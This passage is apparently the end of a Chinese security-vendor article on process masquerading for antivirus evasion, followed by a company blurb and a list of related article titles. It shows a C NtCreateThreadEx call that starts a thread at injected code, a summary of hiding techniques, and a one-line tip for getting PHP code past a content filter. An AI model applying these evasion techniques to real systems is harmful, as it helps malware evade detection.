使用NtCreateThreadEx函数在进程中创建第一个线程：

status = NtCreateThreadEx(&hThread,
  THREAD_ALL_ACCESS,
NULL,
  hProcess,
  (LPTHREAD_START_ROUTINE)processEntryPoint,  // 可通过公式计算：processEntryPoint = PEB.ImageBaseAddress + 注入代码的入口点
NULL,
  FALSE,
0,
0,
0,
NULL
);
if (status != STATUS_SUCCESS) return 1;

五、总结

进程伪装与隐匿技术中其核心实现方法可归纳为以下关键技术要点:

1.进程标识符篡改技术

2.内存映像伪装体系

3.启动路径隐匿方案

4.跨进程注入框架

以上就是进程伪装与隐匿技术中隐秘启动的核心实现方式。但这只是初步成果。隐藏代码执行仅是迈向全面“隐身”的第一步，该技术虽能有效规避部分检测，却仍会在内存中留下痕迹。尽管可通过其他技术进一步降低被检测的风险，但真正的挑战才刚刚开始。

[2]https://hackmag.com/security/cold-boot-attack

[3]https://hackmag.com/security/python-pyramid

[4]https://hackmag.com/security/evil-modem

[5]https://hackmag.com/mobile/xamarin-reverse

[6]https://hackmag.com/security/smartcard-attacks

[7]https://hackmag.com/security/enumeration-guide

现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

山石网科安全技术研究院

一图看懂｜山石网科2026年第一季度报告

“银狐”系木马综合监测与防护报告

1.1 攻击目标与行业分布

1.2 发展历程与主要变种演进

2.1 初始传播阶段

2.2 诱导执行阶段

2.3 环境检测与对抗阶段

2.4 载荷释放与持久化阶段

2.5 远程控制与数据窃取阶段

2.6 二次传播与扩散阶段

3.1 反虚拟机与反沙箱技术

3.1.1 早期简单的环境检测 (用户名、进程名)

3.1.2 进阶检测：硬件指纹、CPU 核心数、内存大小

3.2 反调试与代码混淆技术

3.2.1 调试器检测与干扰

3.2.2 字符串加密与代码混淆

3.2.3 控制流混淆与反静态分析

3.3 内存注入与无文件攻击技术

3.3.1 进程注入技术的演进 (Process Hollowing, DLL Injection)

3.3.2 利用 PowerShell、MSBuild 等合法工具执行恶意代码

3.3.3 在内存中解密和执行载荷以规避静态检测

4.1 云端持续狩猎

4.2 网侧精准拦截

4.3 终端快速感知

山石网科荣获国家信息安全漏洞库CNNVD多项荣誉

第三届“陇剑杯”网络安全大赛预选赛 WP

REVERSE

Lesscommon

Prover

Dragon

WEB

Forge

应急

SIEM

量子

Qrandom

车联网

和我的保险说去吧！

一图看懂｜山石网科2025半年报

下载量达 3000 万次的 npm 软件包如何传播恶意软件

1. Stealer

2. Loader

3. Command-and-Control URLs

微软2025年8月补丁日重点漏洞安全预警

山石网科勇夺香港网络攻防大赛三项殊荣-以攻防实战赋能香港数字未来

发现废弃硬件中的0Day漏洞

SonicWall SMA 500设备漏洞深度剖析

香港網絡攻防精英培訓暨攻防大賽 2025 初賽/決賽WP

攻擊

防禦

攻擊

防禦

防禦

將內容過濾<?php改為 <? 即可

攻擊

修復

攻擊

防禦

攻擊

防禦

攻擊

防禦

攻擊

防禦

Tips: eval & echo = ?

攻擊

防禦

攻擊

攻擊

防禦

攻擊

修復

无线程Shellcode注入：突破EDR检测的隐匿技术

首批！山石网科入选国家“云上大模型安全推进方阵”成员单位名单

聚焦主论坛｜“安芯守护 智启未来”——2025年 · 安全守护者峰会

微软2025年7月补丁日重点漏洞安全预警

进程伪装隐匿技术在杀毒软件对抗中的应用

聚焦主论坛｜“安芯守护智启未来”——2025年 · 安全守护者峰会